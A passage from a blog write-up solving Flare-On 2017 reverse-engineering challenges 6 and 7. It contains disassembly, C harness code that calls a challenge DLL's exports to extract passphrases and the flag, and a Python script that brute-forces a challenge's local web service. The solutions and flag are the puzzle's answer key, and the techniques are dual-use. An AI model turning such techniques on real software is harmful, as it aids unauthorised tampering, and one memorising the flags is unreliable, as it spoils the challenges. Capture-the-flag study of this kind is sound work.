&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CallWithArgs&lt;&#x2F;span&gt;&lt;span&gt;(Func3, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, a3, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which when compiled and executed triggers to display the following MessageBox:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;eaca6198b81df65f296bc6d280437944ee7745fae6c9168d2500b12d0a5c1345.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;eaca6198b81df65f296bc6d280437944ee7745fae6c9168d2500b12d0a5c1345.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;We get one letter of the key! Good start, but how could we get more? And why do
we get the 26th character? To know that we must understand the function
0x180005D30:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a686c1bd8e99734457a6cec1549cfdb8218e5ebaa9e62e412110bb9a9062508e.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a686c1bd8e99734457a6cec1549cfdb8218e5ebaa9e62e412110bb9a9062508e.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;This function gets a pointer to
the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;resources.infosecinstitute.com&#x2F;the-export-directory&#x2F;&quot;&gt;Export Directory table&lt;&#x2F;a&gt; then
calls the function 0x180004710:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000000018000471E &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;48h&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;var_18&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000180004723 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;lea     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rcx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;48h&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;SystemTime&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ; lpSystemTime
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000180004728 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;call    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;:GetSystemTime
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000000018000472E &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;movzx   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;48h&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;SystemTime.wMonth&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000180004733 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;movzx   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ecx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;48h&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;SystemTime.wYear&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000180004738 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;add     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ecx
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000000018000473A &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;cdq
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000000018000473B &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ecx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1Ah
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000180004740 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;idiv    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ecx
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000180004742 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;edx
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or better in pseudo-code&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetSystemTime&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;SystemTime);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;(SystemTime.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;wYear &lt;&#x2F;span&gt;&lt;span&gt;+ SystemTime.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;wMonth&lt;&#x2F;span&gt;&lt;span&gt;) % &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1a&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since FlareOn goes from September 2017 to October 2017, the possible return
values are 24 if executed in September, or 25 if in October. We know why we
got &lt;code&gt;key[25]&lt;&#x2F;code&gt; now, but we don’t know where the passphrase comes from. This is
done in the function 0x180005C40 that will do the decoding of a part of &lt;code&gt;.rdata&lt;&#x2F;code&gt;
at index given by the return of function 0x180004710.&lt;&#x2F;p&gt;
&lt;p&gt;So to get the keys, we must decode all sections in &lt;code&gt;.rdata&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i&amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;; i++){
&lt;&#x2F;span&gt;&lt;span&gt;  uint64_t DecodeRdataFunc = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x5D30&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  uintptr_t addr = handle + DecodeRdataFunc;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CallWithArgs&lt;&#x2F;span&gt;&lt;span&gt;(addr, i, p2, p3, p4);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The following passphrases are collected:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;PCHAR pPasswords[] = {
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;filingmeteorsgeminately&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;leggykickedflutters&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;incalculabilitycombustionsolvency&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;crappingrewardsanctity&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;evolvablepollutantgavial&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ammoniatesignifiesshampoo&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;majesticallyunmarredcoagulate&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;roommatedecapitateavoider&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;fiendishlylicentiouslycolouristic&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sororityfoxyboatbill&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;dissimilitudeaggregativewracks&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;allophoneobservesbashfulness&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;incuriousfatherlinessmisanthropically&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;screensassonantprofessionalisms&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;religionistmightplaythings&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;airglowexactlyviscount&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;thonggeotropicermines&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;gladdingcocottekilotons&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;diagrammaticallyhotfootsid&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;corkerlettermenheraldically&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ulnacontemptuouscaps&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;impureinternationalisedlaureates&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;anarchisticbuttonedexhibitionistic&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;tantalitemimicryslatted&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;basophileslapsscrapping&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;orphanedirreproducibleconfidences&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And then force calling the &lt;code&gt;Func3()&lt;&#x2F;code&gt; function with the specific password:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;addr = mz + Func3;
&lt;&#x2F;span&gt;&lt;span&gt;p3 = (uint64_t)pPasswords[i];
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CallWithArgs&lt;&#x2F;span&gt;&lt;span&gt;(addr, p1, p2, p3, p4);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That will print out successively the key parts via successive &lt;code&gt;MessageBox&lt;&#x2F;code&gt; calls.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0x77, 0x75, 0x75, 0x75, 0x74, 0x2d, 0x65, 0x78, 0x70, 0x30, 0x72, 0x74,
&lt;&#x2F;span&gt;&lt;span&gt;0x73, 0x40, 0x66, 0x6c, 0x61, 0x72, 0x65, 0x2d, 0x6f, 0x6e, 0x2e, 0x63,
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which translated gives &lt;code&gt;wuuut-exp0rts@flare-on.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-7&quot;&gt;Challenge 7&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-6&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;I want to play another game with you, but I also want you to be challenged
&lt;&#x2F;span&gt;&lt;span&gt;because you weren&amp;#39;t supposed to make it this far.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-6&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!BQIlHJ6Z!_-qOpHyiXaZqq2CV_o42du5blCGmkzrlJKrXs6WG2oU&quot;&gt;&lt;code&gt;zsud.exe&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is a PE32 binary. Running
&lt;code&gt;strings&lt;&#x2F;code&gt; and &lt;code&gt;binwalk&lt;&#x2F;code&gt; against it immediately shows 2 things:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;this binary is C# compiled&lt;&#x2F;li&gt;
&lt;li&gt;it embeds a DLL&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;  binwalk zsud.exe
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DECIMAL&lt;&#x2F;span&gt;&lt;span&gt;       HEXADECIMAL     DESCRIPTION
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;             0x0             Microsoft executable, portable (PE)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;356528&lt;&#x2F;span&gt;&lt;span&gt;        0x570B0         Microsoft executable, portable (PE)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;362328&lt;&#x2F;span&gt;&lt;span&gt;        0x58758         Base64 standard index table
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This DLL, &lt;code&gt;flareon.dll&lt;&#x2F;code&gt;, can be easily extracted with a simple &lt;code&gt;dd&lt;&#x2F;code&gt; command, and
shows some strings like “&lt;code&gt;soooooo_sorry_zis_is_not_ze_flag&lt;&#x2F;code&gt;”, but not really
interesting (yet). Debugging the binary with &lt;code&gt;dnSpy&lt;&#x2F;code&gt; gives a whole new view as to what
it’s doing: the function &lt;code&gt;Smth()&lt;&#x2F;code&gt; receives a Base64 encoded string, which once decoded is
AES decrypted with the key “&lt;code&gt;soooooo_sorry_zis_is_not_ze_flag&lt;&#x2F;code&gt;”. The result is a
Powershell script that is being invoked, and that is another maze game, entirely
written in Powershell. The script can be downloaded &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;750558c5ed49c291e50dc460821e8e09&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;090d3fe35ac25fcec9052f0e216f72c75da6d96a367abe4451d04ff0af7ad5cd.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;090d3fe35ac25fcec9052f0e216f72c75da6d96a367abe4451d04ff0af7ad5cd.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The game is an escape room, so it would make sense that the flag will be given
to us if we escape! And since it’s a maze, we need to find the proper
directions, which comes into 2 parts.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;first-part-of-the-directions&quot;&gt;First part of the directions&lt;&#x2F;h3&gt;
&lt;p&gt;Getting the first part of the directions is relatively simple. &lt;code&gt;zsud.exe&lt;&#x2F;code&gt; starts
a webservice
on
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;750558c5ed49c291e50dc460821e8e09#file-decoded-ps1-L814&quot;&gt;127.0.0.1&#x2F;9999&lt;&#x2F;a&gt;
so it is possible to brute-force the first directions by generating HTTP requests
and analysing the output:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;directions&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;verbose&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    url = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;http:&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;+&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;192.168.221.4:9998&#x2F;some&#x2F;thing.asp?k=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{k:s}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;amp;e=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{e:s}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;format&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;k&lt;&#x2F;span&gt;&lt;span&gt;=directions, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span&gt;=description)
&lt;&#x2F;span&gt;&lt;span&gt;    h = requests.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(url)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;h.status_code==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;200 &lt;&#x2F;span&gt;&lt;span&gt;or &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;@&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; in h.text: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;h.text
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;None
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;key_directions = {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;w&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span 